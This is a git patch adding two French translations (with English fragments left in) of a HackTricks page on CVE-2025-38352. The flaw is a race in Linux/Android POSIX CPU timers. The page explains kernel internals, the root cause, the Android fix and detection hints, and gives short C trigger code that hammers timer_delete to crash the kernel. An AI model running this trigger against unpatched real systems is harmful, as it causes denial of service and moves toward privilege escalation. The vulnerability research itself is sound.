From a0a93339560007c7a7a585b0a5cfdfe47f295601 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:44:44 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo --- src/SUMMARY.md | 2 + .../posix-cpu-timers-toctou-cve-2025-38352.md | 196 ++++++++++++++++++ .../posix-cpu-timers-toctou-cve-2025-38352.md | 195 +++++++++++++++++ 3 files changed, 393 insertions(+) create mode 100644 src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md create mode 100644 src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9200053c6..3e41d9a7b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -937,3 +937,5 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) + + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) \ No newline at end of file diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..4acca3bc6 --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,196 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Cette page documente une condition de course TOCTOU dans les POSIX CPU timers de Linux/Android pouvant corrompre l'état d'un timer et provoquer un crash du kernel, et pouvant, dans certaines circonstances, être exploitée pour une élévation de privilèges. + +- Composant affecté : kernel/time/posix-cpu-timers.c +- Primitive : course d'expiration vs suppression lors de la sortie d'une tâche +- Sensible à la configuration : CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (chemin d'expiration en contexte IRQ) + +Rappel rapide des internals (pertinent pour l'exploitation) +- Trois horloges CPU assurent le comptage des timers via cpu_clock_sample() : +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime uniquement +- CPUCLOCK_SCHED: task_sched_runtime() +- La création d'un timer relie un timer à une tâche/pid et initialise les nœuds du timerqueue : +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Arming insère des éléments dans une per-base timerqueue et peut mettre à jour le cache next-expiry: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- La voie rapide évite un traitement coûteux sauf si les expirations mises en cache indiquent un déclenchement possible : +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- L'expiration collecte les timers expirés, les marque comme déclenchés, les retire de la file d'attente ; la livraison effective est différée : +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Deux modes de traitement des expirations +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: l'expiration est différée via task_work sur la tâche cible +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l'expiration est gérée directement dans le contexte IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +Dans le chemin IRQ-context, la firing list est traitée en dehors de sighand. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Cause racine : TOCTOU entre l'expiration en contexte IRQ et la suppression concurrente lors de la terminaison d'une tâche + +Prérequis +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK est désactivé (chemin IRQ utilisé) +- La tâche cible est en cours d'arrêt mais pas encore complètement reaped +- Un autre thread appelle posix_cpu_timer_del() de manière concurrente pour le même timer + +Séquence +1) update_process_times() déclenche run_posix_cpu_timers() en contexte IRQ pour la tâche en cours d'arrêt. +2) collect_timerqueue() définit ctmr->firing = 1 et déplace le timer vers la liste temporaire des timers en cours d'exécution. +3) handle_posix_cpu_timers() relâche sighand via unlock_task_sighand() pour délivrer les timers en dehors du verrou. +4) Immédiatement après le déverrouillage, la tâche en cours d'arrêt peut être reaped ; un thread frère exécute posix_cpu_timer_del(). +5) Dans cette fenêtre, posix_cpu_timer_del() peut échouer à acquérir l'état via cpu_timer_task_rcu()/lock_task_sighand() et ainsi sauter la garde in-flight habituelle qui vérifie timer->it.cpu.firing. La suppression se poursuit comme si le timer n'était pas en firing, corrompant l'état pendant que l'expiration est traitée, conduisant à des crashes/UB. + +Pourquoi le mode TASK_WORK est sûr par conception +- Avec CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, l'expiration est différée vers task_work ; exit_task_work s'exécute avant exit_notify, donc le chevauchement en contexte IRQ avec le reaping n'a pas lieu. +- Même dans ce cas, si la tâche est déjà en train de se terminer, task_work_add() échoue ; le contrôle via exit_state rend les deux modes cohérents. + +Correctif (Android common kernel) et justification +- Ajouter un early return si la tâche courante est en train de se terminer, conditionnant tout le traitement : +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Cela empêche d'entrer dans handle_posix_cpu_timers() pour les tâches en sortie, éliminant la fenêtre où posix_cpu_timer_del() pourrait manquer it.cpu.firing et entrer en concurrence avec le traitement d'expiry. + +Impact +- La corruption de la mémoire kernel des timer structures lors d'expiry/deletion concurrente peut provoquer des crashs immédiats (DoS) et constitue un primitive puissant vers privilege escalation en raison des opportunités de manipulation arbitraire de l'état kernel. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. + +Runtime strategy +- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock): +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arm with a very short initial expiration and small interval to maximize IRQ-path entries: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Depuis un sibling thread, supprimer simultanément le même timer pendant que le target thread se termine : +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Facteurs aggravants : taux de tick élevé du scheduler, charge CPU, cycles répétés de sortie/recréation de threads. Le crash se manifeste généralement lorsque posix_cpu_timer_del() omet de détecter le firing en raison d'un échec du lookup/locking de la tâche juste après unlock_task_sighand(). + +Detection and hardening +- Mitigation : appliquer la garde exit_state ; préférer activer CONFIG_POSIX_CPU_TIMERS_TASK_WORK lorsque possible. +- Observabilité : ajouter des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() ; alerter lorsque it.cpu.firing==1 est observé conjointement avec un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveiller les incohérences de timerqueue autour de la sortie de la tâche. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() : sélection (chemin TASK_WORK vs IRQ) +- collect_timerqueue() : définit ctmr->firing et déplace les nœuds +- handle_posix_cpu_timers() : libère sighand avant la boucle de firing +- posix_cpu_timer_del() : s'appuie sur it.cpu.firing pour détecter une expiration en vol ; cette vérification est ignorée lorsque le lookup/lock de la tâche échoue pendant exit/reap + +Notes for exploitation research +- Le comportement divulgué est une primitive fiable de crash du kernel ; la transformer en élévation de privilèges nécessite typiquement un chevauchement contrôlable additionnel (durée de vie d'objet ou influence write-what-where) hors du périmètre de ce résumé. Traitez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des émulateurs/VMs. + +## Références +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..b79e48881 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,195 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Cette page documente une condition de course TOCTOU dans Linux/Android POSIX CPU timers qui peut corrompre l'état des timers et provoquer un crash du kernel, et qui, dans certaines circonstances, peut être exploitée pour du privilege escalation. + +- Composant affecté : kernel/time/posix-cpu-timers.c +- Primitif : expiry vs deletion race lors de la terminaison d'une tâche +- Sensible à la configuration : CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Rappel rapide des internals (pertinent pour l'exploitation) +- Trois horloges CPU gèrent la comptabilité des timers via cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime uniquement +- CPUCLOCK_SCHED: task_sched_runtime() +- La création d'un timer connecte un timer à une tâche/pid et initialise les nœuds de la timerqueue : +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- L'arming s'insère dans une per-base timerqueue et peut mettre à jour le next-expiry cache : +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Le chemin rapide évite un traitement coûteux sauf si les expirations mises en cache indiquent un déclenchement possible : +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +Expiration collecte les timers expirés, les marque comme déclenchés, les retire de la file ; la livraison effective est différée : +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Deux modes de traitement des expirations +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: l'expiration est différée via task_work sur la tâche cible +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l'expiration est traitée directement dans le contexte IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +Dans le chemin IRQ-context, la firing list est traitée en dehors de sighand. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU entre l'expiration en IRQ et la suppression concurrente lors de la sortie de la tâche +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Cela empêche d'entrer dans handle_posix_cpu_timers() pour les tâches en train de se terminer, supprimant la fenêtre où posix_cpu_timer_del() pourrait rater cpu.firing et entrer en concurrence avec le traitement des expirations. + +Impact +- La corruption de la mémoire du kernel des structures de timer lors d'une expiration/suppression concurrente peut provoquer des plantages immédiats (DoS) et constitue un vecteur puissant pour l'escalade de privilèges en raison des possibilités de manipulation arbitraire de l'état du kernel. + +Déclenchement du bug (conditions sûres et reproductibles) +Build/config +- Assurez-vous que CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n et utilisez un kernel sans le correctif lié à exit_state. + +Runtime strategy +- Viser un thread sur le point de se terminer et lui attacher un CPU timer (par-thread ou horloge globale au processus) : +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Armez-le avec une expiration initiale très courte et un petit intervalle pour maximiser les entrées sur le chemin IRQ : +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- À partir d'un thread sibling, supprimer concurremment le même timer pendant que le thread cible se termine : +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Race amplifiers: taux de tick du scheduler élevé, charge CPU, cycles répétés de sortie/re-création de threads. Le crash se manifeste typiquement lorsque posix_cpu_timer_del() ne remarque pas le firing parce que la recherche/verrouillage de la task échoue juste après unlock_task_sighand(). + +Détection et durcissement +- Mitigation : appliquer l'exit_state guard ; privilégier l'activation de CONFIG_POSIX_CPU_TIMERS_TASK_WORK lorsque c'est possible. +- Observabilité : ajouter des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() ; générer une alerte lorsqu'on observe it.cpu.firing==1 en même temps qu'un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveiller les incohérences du timerqueue autour du task exit. + +Points d'audit (pour les réviseurs) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() : sélection (TASK_WORK vs IRQ path) +- collect_timerqueue() : met ctmr->firing et déplace les nœuds +- handle_posix_cpu_timers() : libère sighand avant la boucle de firing +- posix_cpu_timer_del() : s'appuie sur it.cpu.firing pour détecter une expiration en vol ; ce contrôle est ignoré lorsque la recherche/verrouillage de la task échoue pendant exit/reap + +Notes pour la recherche d'exploitation +- Le comportement divulgué est un reliable kernel crash primitive ; le transformer en privilege escalation nécessite typiquement un chevauchement contrôlable supplémentaire (object lifetime ou write-what-where influence) hors du périmètre de ce résumé. Considérez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des emulators/VMs. + +## Références +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}}